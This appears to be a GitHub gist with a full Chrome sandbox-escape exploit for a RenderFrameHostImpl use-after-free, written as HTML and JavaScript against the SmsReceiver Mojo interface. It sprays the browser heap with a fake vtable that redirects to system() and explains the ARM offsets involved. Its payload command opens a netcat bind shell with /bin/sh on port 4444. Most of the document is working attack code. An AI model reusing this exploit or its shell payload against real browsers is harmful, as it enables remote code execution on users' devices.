Yet Another RenderFrameHostImpl UAF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<script src="gen/mojo/public/js/mojo_bindings.js"></script> | |
<script src="gen/third_party/blink/public/mojom/sms/sms_receiver.mojom.js"></script> | |
<script src="gen/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> | |
</head> | |
<body> | |
<script> | |
// credits/source for the code: | |
// https://googleprojectzero.blogspot.com/2019/04/virtually-unlimited-memory-escaping.html | |
// https://theori.io/research/escaping-chrome-sandbox/ | |
function getAllocationConstructor() { | |
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr(); | |
Mojo.bindInterface(blink.mojom.BlobRegistry.name, | |
mojo.makeRequest(blob_registry_ptr).handle, "process", true); | |
function Allocation(size=880) { | |
function ProgressClient(allocate) { | |
function ProgressClientImpl() { | |
} | |
ProgressClientImpl.prototype = { | |
onProgress: async (arg0) => { | |
if (this.allocate.writePromise) { | |
this.allocate.writePromise.resolve(arg0); | |
} | |
} | |
}; | |
this.allocate = allocate; | |
this.ptr = new mojo.AssociatedInterfacePtrInfo(); | |
var progress_client_req = mojo.makeRequest(this.ptr); | |
this.binding = new mojo.AssociatedBinding( | |
blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req | |
); | |
return this; | |
} | |
this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size}); | |
this.progressClient = new ProgressClient(this); | |
blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => { | |
this.serialized_blob = res.blob; | |
}) | |
this.malloc = async function(data) { | |
promise = new Promise((resolve, reject) => { | |
this.writePromise = {resolve: resolve, reject: reject}; | |
}); | |
this.pipe.producer.writeData(data); | |
this.pipe.producer.close(); | |
written = await promise; | |
console.assert(written == data.byteLength); | |
} | |
this.free = async function() { | |
this.serialized_blob.blob.ptr.reset(); | |
await sleep(1000); | |
} | |
this.read = function(offset, length) { | |
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length}); | |
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null); | |
return new Promise((resolve) => { | |
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => { | |
result = new ArrayBuffer(length); | |
this.readpipe.consumer.readData(result); | |
this.watcher.cancel(); | |
resolve(result); | |
}); | |
}); | |
} | |
this.readQword = async function(offset) { | |
let res = await this.read(offset, 8); | |
return (new DataView(res)).getBigUint64(0, true); | |
} | |
return this; | |
} | |
async function allocate(data) { | |
let allocation = new Allocation(data.byteLength); | |
await allocation.malloc(data); | |
return allocation; | |
} | |
return allocate; | |
} | |
class browserExploit | |
{ | |
// COMMIT BASE: 5a40a11585adab08f920a2b3c524644c80b1573b | |
constructor() | |
{ | |
// Browser Process Heap Spray | |
this.m_allocator_ = getAllocationConstructor(); | |
} | |
// create an child iframe (same as creating a new RenderFrameHostImpl object in Browser Process for the given | |
// WebContents). | |
createChildFrame(htmlContent) | |
{ | |
var iframe = document.createElement("iframe"); | |
document.body.appendChild(iframe); | |
iframe.contentWindow.document.open(); | |
iframe.contentWindow.document.write(htmlContent); | |
iframe.contentWindow.document.close(); | |
return iframe; | |
} | |
// destroy a child iframe (same as destroying a RenderFrameHostImpl object in Browser Process for a given | |
// WebContents) | |
destroyChildFrame(iframeRef) | |
{ | |
document.body.removeChild(iframeRef); | |
} | |
JemallocRegionSprayStart(SIZE) | |
{ | |
// Similar to the TCMalloc idea, RenderFrameHostImpl object are created/destroyed in UI thread | |
// that will be a different thread-cache (heap spray happens on IO thread AFAIK). | |
// So we want to really free our UAF chunk (by forcing a flush condition), this can be done | |
// allocate some regions and freeing them. | |
this.m_rfhSpray_ = []; | |
for (let i = 0; i < SIZE; i++) | |
{ | |
this.m_rfhSpray_[i] = this.createChildFrame('<html></html>'); | |
} | |
} | |
JemallocRegionSprayEnd() | |
{ | |
if (typeof(this.m_rfhSpray_) === 'undefined') | |
{ | |
return; | |
} | |
// Once we free the RFH, we will end up freeing bunch of region for the tcache | |
// and triggering a flush, it'll allow the IO thread to allocate our *freed* | |
// RFH (at least a higher chance to be able to reclaim it). | |
for (let i = 0; i < this.m_rfhSpray_.length; i++) | |
{ | |
this.destroyChildFrame(this.m_rfhSpray_[i]); | |
} | |
} | |
async callSystem(command) | |
{ | |
// libllvm-glnext.so address, should be able to get it using a RCE on Renderer | |
const LIB_LLVMGLNEXT_BASE = 0xDEADBEEF; | |
// system pointer in .data (libllvm-glnext.so) | |
// the 0xBC is because the WebContents::FromRenderFrameHost will call RFH->IsCurrent(), IsCurrent is a virtual method | |
// that is at the offset 0xBC in vtable, we want to adjust to the correct offset (and fall into the system ptr); | |
const LIB_LLVM_SYSTEM_OFFSET = 0x8E5184-0xBC; | |
// The amount of times we will spray the heap with our payload | |
const HEAP_SPRAY_SIZE = 0x2000; | |
// the size of RenderFrameHost object in heap memory | |
/* | |
v11 = (content::RenderFrameHostImpl *)operator new(0x880u); | |
v15 = v11; | |
v9 = &v14; | |
v14.ptr_ = (content::RenderViewHostImpl *)render_view_host.ptr_->_vptr$Sender; | |
render_view_host.ptr_->_vptr$Sender = 0; | |
content::RenderFrameHostImpl::RenderFrameHostImpl( | |
v11, | |
site_instance, | |
*/ | |
const RFH_OBJECT_SIZE = 0x880; | |
// we create again another SmsReceiver interface | |
// however, it'll still hold a reference for the child-frame RFH that we will end up deleting | |
let smsRecvIt = new blink.mojom.SmsReceiverPtr(); | |
Mojo.bindInterface(blink.mojom.SmsReceiver.name, mojo.makeRequest(smsRecvIt).handle, 'context', true); | |
// our payload that will replace the freed RFH | |
let ab = new ArrayBuffer(RFH_OBJECT_SIZE); | |
let u32 = new Uint32Array(ab); | |
let u64 = new BigInt64Array(ab); | |
let u8 = new Uint8Array(ab); | |
for (let i = 0; i < u32.length; i++) | |
{ | |
u32[i] = 0x41424344; | |
} | |
// the first 4 bytes (32 bit architecture) is our virtual table pointer, let's set it to libllvm-glnext.so + system | |
u32[0] = LIB_LLVMGLNEXT_BASE + LIB_LLVM_SYSTEM_OFFSET; | |
// we will end up calling system(R0) where R0 is the "this" (pointer to the object) | |
// thus, it'll run something like system(vtable + our command), so let's write the command that we want | |
for (let i = 0; i < command.length; i++) | |
{ | |
u8[i+0x4] = command.charCodeAt(i); | |
} | |
// NULL the string so it won't read whatever is on our payload after command | |
u8[command.length+4] = 0x00; | |
u8[command.length+5] = 0x00; | |
// After calling IsCurrent, we will end up doing the following code: | |
/* | |
WebContents* WebContents::FromRenderFrameHost(RenderFrameHost* rfh) { | |
OPTIONAL_TRACE_EVENT1(TRACE_DISABLED_BY_DEFAULT("content.verbose"), | |
"WebContents::FromRenderFrameHost", "render_frame_host", | |
base::trace_event::ToTracedValue(rfh)); | |
if (!rfh) | |
return nullptr; | |
if (!rfh->IsCurrent() && base::FeatureList::IsEnabled( <------------------------------- [1] | |
kCheckWebContentsAccessFromNonCurrentFrame)) { | |
// TODO(crbug.com/1059903): return nullptr here eventually. | |
base::debug::DumpWithoutCrashing(); | |
} | |
return static_cast<RenderFrameHostImpl*>(rfh)->delegate()->GetAsWebContents(); <------------------- [2] | |
} | |
At [1] we have the virtual function that we will hijack and use to call system(command), at [2] we | |
are going to read a "member" variable inside RFH and after it, call another virtual method to return the "WebContents", | |
if we can make it return 0, it'll not crash the browser and continue the execution smoothly. | |
0x0000000000000000: 10 B5 push {r4, lr} | |
0x0000000000000002: 98 B1 cbz r0, #0x2c | |
0x0000000000000004: 04 46 mov r4, r0 | |
// R0 = RFH->vtable | |
0x0000000000000006: 00 68 ldr r0, [r0] | |
// R1 = RFH->vtable[0xBC/0x4] -- system pointer | |
0x0000000000000008: D0 F8 BC 10 ldr.w r1, [r0, #0xbc] | |
0x000000000000000c: 20 46 mov r0, r4 | |
// system(R0) | |
0x000000000000000e: 88 47 blx r1 | |
0x0000000000000010: 30 B9 cbnz r0, #0x20 | |
0x0000000000000012: 07 48 ldr r0, [pc, #0x1c] | |
0x0000000000000014: 78 44 add r0, pc | |
0x0000000000000016: A9 F1 42 EA blx #0x1a949c | |
0x000000000000001a: 08 B1 cbz r0, #0x20 | |
0x000000000000001c: A9 F1 06 EE blx #0x1a9c2c | |
// R0 = RFH->member_7c | |
0x0000000000000020: E0 6F ldr r0, [r4, #0x7c] | |
// R1 = RFH->member_7c->vtable | |
0x0000000000000022: 01 68 ldr r1, [r0] | |
// R1 = RFH->member_7c->vtable[0x64/0x4] | |
0x0000000000000024: 49 6E ldr r1, [r1, #0x64] | |
0x0000000000000026: BD E8 10 40 pop.w {r4, lr} | |
<-------------------------------------------------------------- {18} | |
// return R1(), where R1 is a function that will set R0 (return value) to 0 | |
// it'll make WebContents == nullptr and not crashing the browser :) | |
0x000000000000002a: 08 47 bx r1 | |
0x000000000000002c: 00 20 movs r0, #0 | |
0x000000000000002e: 10 BD pop {r4, pc} | |
However, at this point we have no information disclosure about the heap layout, but, we are "1337 h4ck3rz" and we can | |
just use a pointer inside .data/.got/.rodata segments of some shared library(glnext?) that will end up | |
calling another function pointer that will call a function that *must* return 0, that's what we have here :D | |
the magic pointer! | |
Thus, the magic pointer will basically be: | |
| libllvm-glnext.so | offset 0x7C | libllvm-glnext.so | offset 0x64 | libllvm-glnext.so | | |
| .data pointer | -------------> | .rodata vtable pointer | ----------> | .text MOV R0, #0x0, BX LR | | |
| | | | | | | |
*/ | |
u32[0x7C/0x4] = (LIB_LLVMGLNEXT_BASE + 0x8C8FBC - 0x58) + 0x1BC84; | |
alert ("[+] destroying child and spraying!!"); | |
// thread-cache trick + delete child iframe (thus, deleting RFH on browser process side) | |
this.destroyChildFrame(window.victimIframe); | |
this.JemallocRegionSprayEnd(); | |
// spray the heap | |
for (let i = 0; i < HEAP_SPRAY_SIZE; i++) | |
{ | |
await this.m_allocator_(u64); | |
} | |
alert("[+] triggering!"); | |
// trigger the vulnerability | |
await smsRecvIt.receive(); | |
} | |
} | |
async function recvMessage(e) | |
{ | |
// we received the postMessage from child frame | |
alert("[+] postMessage!!!"); | |
await window.exp.callSystem(' || (toybox nc -p 4444 -l /bin/sh)'); | |
} | |
function start() | |
{ | |
// exploit utils | |
window.exp = new browserExploit(); | |
// we are going to have an event listener for postMessage as we need to wait the child | |
// frame to create a Mojo Interface for SmsReceiver (thus, using its RFH obj). | |
window.addEventListener("message", recvMessage, false); | |
// Jemalloc trick for thread-cache | |
window.exp.JemallocRegionSprayStart(0x20); | |
// create the child iframe that will end up creating the first SmsReceiver mojo interface | |
window.victimIframe = window.exp.createChildFrame( | |
` | |
<html> | |
<body onload="setup()"> | |
<script src="gen/mojo/public/js/mojo_bindings.js"><\/script> | |
<script src="gen/third_party/blink/public/mojom/sms/sms_receiver.mojom.js"><\/script> | |
<script> | |
function setup() | |
{ | |
let smsObj = new blink.mojom.SmsReceiverPtr(); | |
let request_handle = mojo.makeRequest(smsObj).handle; | |
let handle_ = smsObj.ptr.handle_; | |
Mojo.bindInterface(blink.mojom.SmsReceiver.name, smsObj.ptr.handle_, 'context', true); | |
parent.postMessage(handle_, '*', [handle_]); | |
} | |
<\/script> | |
</body> | |
</html> | |
`); | |
} | |
start(); | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment